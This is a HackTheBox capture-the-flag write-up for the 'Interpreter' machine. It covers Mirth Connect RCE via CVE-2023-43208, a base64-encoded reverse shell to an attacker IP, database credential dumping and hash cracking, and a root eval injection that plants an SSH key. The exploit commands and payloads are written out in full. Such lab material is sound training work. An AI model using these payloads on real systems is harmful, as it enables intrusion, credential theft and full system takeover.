Interpreter Walkthrough
Machine: Interpreter#
Date: 2026-02-22
Platform: HTB
Status: [Rooted]
π Recon#
Nmap#
nmap -sC -sV -oN scans/nmap.txt $IP
Results#
- 22/tcp β SSH (OpenSSH 9.2p1 Debian 2+deb12u7)
- 80/tcp β HTTP (Jetty) β Mirth Connect Administrator
- 443/tcp β HTTPS (Jetty) β Mirth Connect Administrator
Notes#
- Target is running Mirth Connect
- SSL certificate self-signed (CN=mirth-connect)
- HTTP TRACE method enabled
- OS: Linux
- Web title confirms: Mirth Connect Administrator
π Enumeration#
Identifying Mirth Version#
Used public detection script:
git clone https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc.git
python3 detection.py https://$MACHINE_IP:443
Result:
Server version: 4.4.0
Vulnerable to CVE-2023-43208.
Vulnerability Identified#
- CVE-2023-43208
- Unauthenticated Remote Code Execution
- Affects versions < 4.4.1
- Target version: 4.4.0 β Vulnerable
π₯ Exploitation#
Initial Command Execution#
python3 CVE-2023-43208.py -u https://$MACHINE_IP:443 -c "cat /etc/passwd"
Result:
The target appears to have executed the payload.
Confirmed remote command execution.
Reverse Shell#
Started listener:
nc -lvnp 4449
Encoded payload using our own IP on HTB’s VPN (base64 to avoid special character filtering):
echo 'bash -i >& /dev/tcp/10.10.14.103/4449 0>&1' | base64
Executed:
python3 CVE-2023-43208.py -u https://10.129.2.2:443 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDMvNDQ0OSAwPiYxCg==}|{base64,-d}|bash"
Result#
Reverse shell obtained as:
mirth@interpreter
Terminal stabilization#
We will stabilize the shell to not have to reexecute the CVE everytime we do a CTRL+C or anything like that:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Then CTRL+Z to send it to the background. And now:
stty raw -echo; fg
Now back in the victim’s terminal:
export TERM=xterm
export SHELL=bash
stty rows 50 cols 200
π§βπ» User-Level Enumeration#
Current User#
whoami
mirth
System Users#
cat /etc/passwd
Interesting user found:
sedric:x:1000:1000::/home/sedric:/bin/bash
Likely target for user flag.
π Database Enumeration#
Credentials Found#
In:
/usr/local/mirthconnect/conf/mirth.properties
Database credentials:
Database: mc_bdd_prod
User: mirthdb
Password: [REDACTED]
Database Access#
mysql -u mirthdb -p'[REDACTED]' -e "use mc_bdd_prod; show tables;"
Tables include:
- PERSON
- PERSON_PASSWORD
- CHANNEL
- CONFIGURATION
- etc.
Extracted User Information#
select * from PERSON;
Result:
sedric
Password hash:
select * from PERSON_PASSWORD;
[REDACTED]
Converted to hex:
[REDACTED]
Length: 40 bytes (320 bits)
Algorithm not yet identified.
Password reuse attempt with [REDACTED] for SSH β Failed
π Internal Services#
Listening services:
ss -tlnp
Interesting internal-only service:
127.0.0.1:54321
Endpoint discovered:
/addPatient
Testing:
wget -q -O- --post-data='<patient></patient>' http://127.0.0.1:54321/addPatient
Response:
[INVALID_INPUT]
API is active and validating input. Possible attack vectors:
- XML Injection
- XXE
- Business logic abuse
- Deserialization
- Command injection via channel processing
π Lateral Movement Enumeration#
Internal Service: notif.py (Port 54321)#
Identified a process running as root:
cat /proc/3567/cmdline | tr '\0' ' '
# /usr/bin/python3 /usr/local/bin/notif.py
Service file:
cat /etc/systemd/system/notif.service
[Service]
ExecStart=/usr/bin/python3 /usr/local/bin/notif.py
User=root
WorkingDirectory=/usr/local/bin
The script belongs to the sedric group and is not readable by mirth:
-rwxr-x--- 1 root sedric 2332 Sep 19 09:27 /usr/local/bin/notif.py
The /addPatient endpoint responds [INVALID_INPUT] with malformed XML.
Mirth’s JavaScript engine runs as mirth β no access to notif.py.
Fail2ban#
Fail2ban running as root:
cat /proc/3564/cmdline | tr '\0' ' '
# /usr/bin/python3 /usr/bin/fail2ban-server -xf start
The binary /usr/bin/fail2ban-server is readable by mirth but action files
in /etc/fail2ban/action.d/ are not writable.
Fail2ban executes actions as root β potential escalation vector once lateral movement to sedric is achieved.
We go back to the database previously found, and try to crack sedric’s password from there, as it seems it’s the more feasible way to scalate to the sedric user
π Lateral Movement: mirth β sedric#
Hash Extraction#
Dumped Sedric’s password hash from the Mirth Connect database:
mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e "SELECT * FROM PERSON_PASSWORD WHERE person_id = (SELECT id FROM PERSON WHERE username = 'sedric');"
Result:
[REDACTED]
Hash Analysis#
Mirth Connect 4.4.0 uses PBKDF2WithHmacSHA256 with 600.000 iterations by default. The stored value is a base64-encoded blob of 40 bytes:
- Bytes 0β7 (8 bytes): Random salt
- Bytes 8β39 (32 bytes): PBKDF2-HMAC-SHA256 derived key
Extracting each component:
# Salt (first 8 bytes)
echo '[REDACTED]' | base64 -d | head -c 8 | base64
# u/+LBBOUnac=
# Hash (last 32 bytes)
echo '[REDACTED]' | base64 -d | tail -c 32 | base64
# [REDACTED]
Cracking with Hashcat#
Formatted for hashcat mode 10900 (PBKDF2-HMAC-SHA256):
sha256:600000:u/+LBBOUnac=:[REDACTED]
.\hashcat.exe -m 10900 -a 0 hash.txt rockyou.txt
Cracked in ~40 seconds on RTX 3080:
Password: [REDACTED]
SSH Access#
ssh sedric@$IP
# Password: [REDACTED]
sedric@interpreter:~$
User flag obtained: cat ~/user.txt
β‘ Privilege Escalation#
Reading notif.py#
With access as sedric (group with read permissions on the script):
cat /usr/local/bin/notif.py
The script is a Flask server running on 127.0.0.1:54321 as root that accepts XML with patient data and formats it using a dynamically evaluated f-string:
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, ..."
return eval(f"f'''{template}'''")
Vulnerability Analysis#
The code validates fields with the following regex before the eval:
^[a-zA-Z0-9._'\"(){}=+/]+$
Curly braces {} are allowed, which makes it possible to inject arbitrary Python expressions inside the f-string that is then passed to eval(), executing as root.
Notable characters not allowed: spaces, -, $, [, ], ,
Proof of Concept#
RCE verification as root:
python3 -c "
import urllib.request
data = b'<patient><firstname>test</firstname><lastname>test</lastname><sender_app>test</sender_app><timestamp>01/01/2024</timestamp><birth_date>01/01/2000</birth_date><gender>{__import__(\"os\").popen(\"id\").read()}</gender></patient>'
req = urllib.request.Request('http://127.0.0.1:54321/addPatient', data=data, headers={'Content-Type': 'application/xml'})
resp = urllib.request.urlopen(req)
print(resp.read().decode())
"
Patient test test (uid=0(root) gid=0(root) groups=0(root)), 26 years old, ...
SSH Key Injection#
The comma , is not allowed by the regex, so open(path, "w") fails. Instead, pathlib.Path.write_text() is used since it accepts a single argument with no comma required.
First, write the public key to /tmp/pubkey from the sedric shell:
echo 'ssh-ed25519 [REDACTED]' > /tmp/pubkey
Then inject it into /root/.ssh/authorized_keys via the eval:
python3 -c "
import urllib.request
data = b'<patient><firstname>test</firstname><lastname>test</lastname><sender_app>test</sender_app><timestamp>01/01/2024</timestamp><birth_date>01/01/2000</birth_date><gender>{__import__(\"pathlib\").Path(\"/root/.ssh/authorized_keys\").write_text(open(\"/tmp/pubkey\").read())}</gender></patient>'
req = urllib.request.Request('http://127.0.0.1:54321/addPatient', data=data, headers={'Content-Type': 'application/xml'})
resp = urllib.request.urlopen(req)
print(resp.read().decode())
"
Patient test test (106), 26 years old, received from test at 01/01/2024
106 bytes written successfully.
Root Access#
ssh -i /tmp/root_key [email protected]
root@interpreter:~# whoami
root
π― Loot / Flags#
- user.txt: ``[FLAG REDACTED]`
- root.txt: ``[FLAG REDACTED]`
π Lessons Learned#
- Always identify the exact application version early to find relevant CVEs.
- CVE-2023-43208 provides reliable unauthenticated RCE on Mirth Connect < 4.4.1.
- Mirth Connect 4.4.0 uses PBKDF2-HMAC-SHA256 with 600,000 iterations and an 8-byte salt to store passwords.
- Internal localhost services are frequently privilege escalation vectors.
- A regex allowing
{}combined witheval()of f-strings is a critical code injection vulnerability. - Character restrictions in regex can be bypassed creatively:
pathlib.Path.write_text()avoids the need for commas thatopen(path, "w")would require.
#Linux #HTB #Enumeration #Web #Jetty #MirthConnect #CVE #CVE-2023-43208 #RCE #ReverseShell #ShellStabilization #Database #MySQL #CredentialExtraction #HashExtraction #HashCracking #PBKDF2 #PasswordReuse #SSH #LateralMovement #InternalService #Flask #EvalInjection #Python #CommandInjection #AuthorizedKeys #PrivilegeEscalation #PostExploitation
Adapted from MountainFlayer/htb-writeups under MIT.